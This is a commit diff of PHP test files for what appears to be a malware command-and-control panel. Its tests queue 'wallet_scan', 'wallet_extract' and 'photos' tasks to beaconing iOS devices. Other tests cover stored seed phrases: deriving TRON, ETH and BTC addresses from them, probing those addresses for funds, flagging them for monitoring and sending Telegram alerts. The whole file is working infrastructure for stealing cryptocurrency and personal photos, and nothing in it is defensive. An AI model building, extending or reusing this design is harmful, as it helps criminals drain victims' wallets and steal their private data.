fix: link memo
This commit is contained in:
@@ -132,13 +132,28 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
return Http::response(['ok' => true], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/getaccount')) {
|
||||
return Http::response(['balance' => 5_000_000], 200);
|
||||
$addr = (string) ($request->data()['address'] ?? '');
|
||||
if ($addr === self::TRON_0) {
|
||||
return Http::response([
|
||||
'address' => $addr,
|
||||
'create_time' => 1,
|
||||
'balance' => 5_000_000,
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||
return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
|
||||
}
|
||||
if (str_contains($url, 'ethereum.example')) {
|
||||
$method = $request->data()['method'] ?? '';
|
||||
$data = $request->data();
|
||||
$method = $data['method'] ?? '';
|
||||
$target = strtolower((string) ($data['params'][0] ?? ''));
|
||||
$hit = $target === self::ETH_0;
|
||||
if ($method === 'eth_getTransactionCount') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200);
|
||||
}
|
||||
if ($method === 'eth_getBalance') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
@@ -147,8 +162,14 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
}
|
||||
}
|
||||
if (str_contains($url, 'mempool.example')) {
|
||||
$activated = str_contains($url, self::BTC_0);
|
||||
return Http::response([
|
||||
'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0],
|
||||
'chain_stats' => [
|
||||
'tx_count' => $activated ? 1 : 0,
|
||||
'funded_txo_count' => $activated ? 1 : 0,
|
||||
'funded_txo_sum' => $activated ? 100_000 : 0,
|
||||
'spent_txo_sum' => 0,
|
||||
],
|
||||
], 200);
|
||||
}
|
||||
|
||||
@@ -158,7 +179,11 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
$device = Device::query()->create(['device_id' => 'dev-collect-derive']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic));
|
||||
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverActivated($mnemonic));
|
||||
$this->assertSame(
|
||||
[1, 1, 1],
|
||||
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('monitor')->all()
|
||||
);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
||||
|
||||
@@ -42,7 +42,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
|
||||
// prefix again — so we must strip it before deleting.
|
||||
$prefix = config('database.redis.options.prefix', '');
|
||||
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
|
||||
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qround:*', 'ds:qt:*'];
|
||||
foreach ($patterns as $pattern) {
|
||||
$keys = Redis::keys($pattern);
|
||||
if (empty($keys)) {
|
||||
@@ -712,8 +712,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
#[Test]
|
||||
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
||||
{
|
||||
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
|
||||
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
|
||||
// seed() pushes wallet_scan → wallet_extract → photos (FIFO), then
|
||||
// replenishes the same list until DEFAULT_ROUNDS (3) finish.
|
||||
$uuid = self::DS_LHU;
|
||||
|
||||
// Helper to clear the per-device throttle lock (simulates 5s gap).
|
||||
@@ -724,14 +724,14 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
}
|
||||
};
|
||||
|
||||
// First dispatch -> photos (first in FIFO from seed).
|
||||
// First dispatch -> wallet_scan (first in FIFO from seed).
|
||||
$r1 = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => 'photos',
|
||||
'type' => 'wallet_scan',
|
||||
'uuid' => $uuid,
|
||||
]);
|
||||
$id1 = $r1->json('command_id');
|
||||
@@ -743,12 +743,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
|
||||
|
||||
// After the 5s gap -> wallet_scan (second in FIFO).
|
||||
// After the 5s gap -> wallet_extract (second in FIFO).
|
||||
$forgetThrottle();
|
||||
$r2 = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$id2 = $r2->json('command_id');
|
||||
$this->assertNotEmpty($id2);
|
||||
$this->assertNotSame($id1, $id2);
|
||||
@@ -759,21 +759,23 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
|
||||
// After another gap -> photos (third in FIFO).
|
||||
$forgetThrottle();
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
|
||||
// Single-run: after both tasks were dispatched, the queue is empty (0).
|
||||
// Round 1 consumed; remaining pending is empty until the next beacon
|
||||
// replenishes round 2.
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
$this->assertSame(3, $queue->roundsRemaining($device));
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
@@ -781,7 +783,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
->assertOk()
|
||||
->assertSee('C2 队列')
|
||||
->assertSee('photos')
|
||||
->assertSee('wallet_scan');
|
||||
->assertSee('wallet_scan')
|
||||
->assertSee('wallet_extract');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -797,12 +800,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
}
|
||||
};
|
||||
|
||||
// First dispatch -> photos (first in FIFO from seed).
|
||||
// First dispatch -> wallet_scan (first in FIFO from seed).
|
||||
$first = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
$firstId = $first->json('command_id');
|
||||
$this->assertNotEmpty($firstId);
|
||||
|
||||
@@ -813,12 +816,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After the 5s gap (simulated by deleting the Redis throttle key), the next
|
||||
// beacon dispatches wallet_scan (second in FIFO from seed).
|
||||
// beacon dispatches wallet_extract (second in FIFO from seed).
|
||||
$forgetThrottle();
|
||||
$retry = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$retryId = $retry->json('command_id');
|
||||
$this->assertNotEmpty($retryId);
|
||||
$this->assertNotSame($firstId, $retryId);
|
||||
@@ -826,8 +829,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->postJson('/result', [
|
||||
'uuid' => $uuid,
|
||||
'command_id' => $retryId,
|
||||
'filename' => 'wallet_scan_result.json',
|
||||
'category' => 'wallet_scan',
|
||||
'filename' => 'wallet_extract_result.json',
|
||||
'category' => 'wallet_extract',
|
||||
'status' => 'success',
|
||||
])->assertOk();
|
||||
|
||||
@@ -835,16 +838,16 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
|
||||
$this->assertSame(1, $events->count());
|
||||
$this->assertSame('wallet_scan', $events->first()->event_name);
|
||||
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
|
||||
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
|
||||
$this->assertSame('wallet_extract', $events->first()->event_name);
|
||||
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
|
||||
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
|
||||
|
||||
// After a result + gap, the queue is empty (single-run: no auto-replenish).
|
||||
// After a result + gap, the next default task is photos (not empty yet).
|
||||
$forgetThrottle();
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -852,8 +855,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
{
|
||||
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
|
||||
// No "skip legacy" logic — all queued tasks are dispatched in order.
|
||||
// Single-run: seed() only runs on new device creation, not on every beacon.
|
||||
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
|
||||
// seed() only runs on new device creation; addTask() does not start default rounds.
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
@@ -887,9 +889,48 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
|
||||
// After the last task is dequeued, the queue is empty — single-run: no
|
||||
// auto-replenish. seed() only runs on new device creation, not on
|
||||
// every beacon/upsertDevice.
|
||||
// After the last manually added task is dequeued, the queue stays empty:
|
||||
// auto-replenish only applies to seed()'d default rounds, not addTask().
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_replays_default_queue_three_rounds(): void
|
||||
{
|
||||
$uuid = self::DS_LHU;
|
||||
$expected = [];
|
||||
for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) {
|
||||
array_push($expected, 'wallet_scan', 'wallet_extract', 'photos');
|
||||
}
|
||||
|
||||
$dispatched = [];
|
||||
foreach ($expected as $i => $type) {
|
||||
if ($i > 0) {
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
}
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => $type]);
|
||||
$dispatched[] = $type;
|
||||
}
|
||||
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$this->assertSame($expected, $dispatched);
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
$this->assertSame(1, $queue->roundsRemaining($device));
|
||||
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
$this->assertSame(0, $queue->roundsRemaining($device));
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
}
|
||||
|
||||
|
||||
@@ -152,10 +152,31 @@ class MnemonicAddressLinkTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function derive_index_beyond_four_is_not_linked(): void
|
||||
public function derive_index_nine_is_linked(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-link-4a');
|
||||
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 9);
|
||||
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $tron,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'monitor' => 0,
|
||||
]);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
||||
$addr->refresh();
|
||||
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
|
||||
$this->assertSame(9, $addr->derive_index);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function derive_index_beyond_nine_is_not_linked(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-link-4');
|
||||
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 5);
|
||||
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 10);
|
||||
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -278,7 +299,7 @@ class MnemonicAddressLinkTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function backfill_derives_index_zero_when_mnemonic_has_no_addresses(): void
|
||||
public function backfill_skips_inactive_derived_addresses(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-backfill-derive']);
|
||||
$mnemonic = new WalletMnemonic([
|
||||
@@ -289,20 +310,10 @@ class MnemonicAddressLinkTest extends TestCase
|
||||
$mnemonic->save();
|
||||
|
||||
$this->artisan('coruna:link-mnemonics')
|
||||
->expectsOutputToContain('linked=0 discovered=3')
|
||||
->expectsOutputToContain('linked=0 discovered=0')
|
||||
->assertSuccessful();
|
||||
|
||||
$rows = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->orderBy('id')
|
||||
->get();
|
||||
$this->assertCount(3, $rows);
|
||||
$this->assertSame(['TRON', 'ETH', 'BTC'], $rows->pluck('chain_type')->all());
|
||||
$this->assertSame([
|
||||
self::TRON_0,
|
||||
self::ETH_0,
|
||||
'1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA',
|
||||
], $rows->pluck('address')->all());
|
||||
$this->assertSame([0, 0, 0], $rows->pluck('derive_index')->all());
|
||||
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
@@ -207,43 +208,12 @@ class MnemonicWalletsTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallets_discovers_funded_index_zero_when_no_linked_addresses(): void
|
||||
public function wallets_discovers_activated_indexes_when_no_linked_addresses(): void
|
||||
{
|
||||
config([
|
||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||
'coruna.btc.api_url' => 'https://mempool.example/api',
|
||||
$this->fakeDiscoveryRpcs([
|
||||
'tron' => ['TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'],
|
||||
]);
|
||||
|
||||
Http::fake(function ($request) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/wallet/getaccount')) {
|
||||
return Http::response(['balance' => 5_000_000], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||
return Http::response(['constant_result' => [dechex(0)]], 200);
|
||||
}
|
||||
if (str_contains($url, 'ethereum.example')) {
|
||||
$body = $request->data();
|
||||
$method = $body['method'] ?? '';
|
||||
if ($method === 'eth_getBalance') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
if ($method === 'eth_call') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
}
|
||||
if (str_contains($url, 'mempool.example')) {
|
||||
return Http::response([
|
||||
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 404);
|
||||
});
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-discover']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
@@ -255,13 +225,9 @@ class MnemonicWalletsTest extends TestCase
|
||||
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
|
||||
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
|
||||
->assertJsonPath('data.addresses.0.trx', '5')
|
||||
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
|
||||
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
|
||||
->assertJsonPath('data.addresses.1.eth', '0')
|
||||
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
|
||||
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
|
||||
->assertJsonPath('data.addresses.2.btc', '0')
|
||||
->assertJsonCount(3, 'data.addresses');
|
||||
->assertJsonPath('data.addresses.0.active', true)
|
||||
->assertJsonPath('data.addresses.0.persisted', true)
|
||||
->assertJsonCount(1, 'data.addresses');
|
||||
|
||||
$this->assertDatabaseHas('wallet_addresses', [
|
||||
'device_id' => $device->id,
|
||||
@@ -269,40 +235,76 @@ class MnemonicWalletsTest extends TestCase
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'derive_index' => 0,
|
||||
'chain_type' => 'TRON',
|
||||
'monitor' => 1,
|
||||
]);
|
||||
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
$this->assertSame(1, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallets_persists_index_zero_even_when_balances_are_zero(): void
|
||||
public function wallets_persists_activated_index_within_first_three(): void
|
||||
{
|
||||
config([
|
||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||
'coruna.btc.api_url' => 'https://mempool.example/api',
|
||||
$tron2 = (new TronDriver)->deriveAddress(
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
2,
|
||||
);
|
||||
$this->fakeDiscoveryRpcs([
|
||||
'tron' => [$tron2],
|
||||
]);
|
||||
|
||||
Http::fake(function ($request) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/wallet/getaccount')) {
|
||||
return Http::response(['balance' => 0], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||
return Http::response(['constant_result' => ['0']], 200);
|
||||
}
|
||||
if (str_contains($url, 'ethereum.example')) {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
if (str_contains($url, 'mempool.example')) {
|
||||
return Http::response([
|
||||
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
|
||||
], 200);
|
||||
}
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-index2']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
return Http::response([], 404);
|
||||
});
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.addresses.0.address', $tron2)
|
||||
->assertJsonPath('data.addresses.0.derive_index', 2)
|
||||
->assertJsonCount(1, 'data.addresses');
|
||||
|
||||
$this->assertDatabaseHas('wallet_addresses', [
|
||||
'device_id' => $device->id,
|
||||
'address' => $tron2,
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'derive_index' => 2,
|
||||
]);
|
||||
$this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallets_skips_activated_index_beyond_first_three(): void
|
||||
{
|
||||
$tron3 = (new TronDriver)->deriveAddress(
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
3,
|
||||
);
|
||||
$this->fakeDiscoveryRpcs([
|
||||
'tron' => [$tron3],
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-index3']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.addresses.0.active', false)
|
||||
->assertJsonPath('data.addresses.0.persisted', false)
|
||||
->assertJsonCount(3, 'data.addresses');
|
||||
|
||||
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
$this->assertDatabaseMissing('wallet_addresses', [
|
||||
'address' => $tron3,
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallets_previews_inactive_index_zero_without_persisting(): void
|
||||
{
|
||||
$this->fakeDiscoveryRpcs([]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-empty']);
|
||||
@@ -314,16 +316,100 @@ class MnemonicWalletsTest extends TestCase
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
|
||||
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
|
||||
->assertJsonPath('data.addresses.0.trx', '0')
|
||||
->assertJsonPath('data.addresses.0.derive_index', 0)
|
||||
->assertJsonPath('data.addresses.0.active', false)
|
||||
->assertJsonPath('data.addresses.0.persisted', false)
|
||||
->assertJsonPath('data.addresses.0.id', null)
|
||||
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
|
||||
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
|
||||
->assertJsonPath('data.addresses.1.eth', '0')
|
||||
->assertJsonPath('data.addresses.1.active', false)
|
||||
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
|
||||
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
|
||||
->assertJsonPath('data.addresses.2.btc', '0')
|
||||
->assertJsonPath('data.addresses.2.active', false)
|
||||
->assertJsonCount(3, 'data.addresses');
|
||||
|
||||
$this->assertSame(3, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{tron?: list<string>, eth?: list<string>, btc?: list<string>} $activated
|
||||
*/
|
||||
private function fakeDiscoveryRpcs(array $activated): void
|
||||
{
|
||||
config([
|
||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||
'coruna.btc.api_url' => 'https://mempool.example/api',
|
||||
]);
|
||||
|
||||
$tronOn = array_fill_keys($activated['tron'] ?? [], true);
|
||||
$ethOn = [];
|
||||
foreach ($activated['eth'] ?? [] as $addr) {
|
||||
$ethOn[strtolower($addr)] = true;
|
||||
}
|
||||
$btcOn = array_fill_keys($activated['btc'] ?? [], true);
|
||||
|
||||
Http::fake(function ($request) use ($tronOn, $ethOn, $btcOn) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/wallet/getaccount')) {
|
||||
$addr = (string) ($request->data()['address'] ?? '');
|
||||
if (isset($tronOn[$addr])) {
|
||||
return Http::response([
|
||||
'address' => $addr,
|
||||
'create_time' => 1,
|
||||
'balance' => 5_000_000,
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||
return Http::response(['constant_result' => ['0']], 200);
|
||||
}
|
||||
if (str_contains($url, 'ethereum.example')) {
|
||||
$body = $request->data();
|
||||
$method = $body['method'] ?? '';
|
||||
$target = strtolower((string) (($body['params'][0] ?? '')));
|
||||
if ($method === 'eth_call') {
|
||||
$target = '';
|
||||
}
|
||||
$hit = $target !== '' && isset($ethOn[$target]);
|
||||
if (in_array($method, ['eth_getTransactionCount', 'eth_getBalance', 'eth_call'], true)) {
|
||||
return Http::response([
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'result' => $hit ? '0x1' : '0x0',
|
||||
], 200);
|
||||
}
|
||||
}
|
||||
if (str_contains($url, 'mempool.example')) {
|
||||
foreach (array_keys($btcOn) as $addr) {
|
||||
if (str_contains($url, rawurlencode($addr)) || str_contains($url, $addr)) {
|
||||
return Http::response([
|
||||
'chain_stats' => [
|
||||
'tx_count' => 1,
|
||||
'funded_txo_count' => 1,
|
||||
'funded_txo_sum' => 100_000,
|
||||
'spent_txo_sum' => 0,
|
||||
],
|
||||
], 200);
|
||||
}
|
||||
}
|
||||
|
||||
return Http::response([
|
||||
'chain_stats' => [
|
||||
'tx_count' => 0,
|
||||
'funded_txo_count' => 0,
|
||||
'funded_txo_sum' => 0,
|
||||
'spent_txo_sum' => 0,
|
||||
],
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 404);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user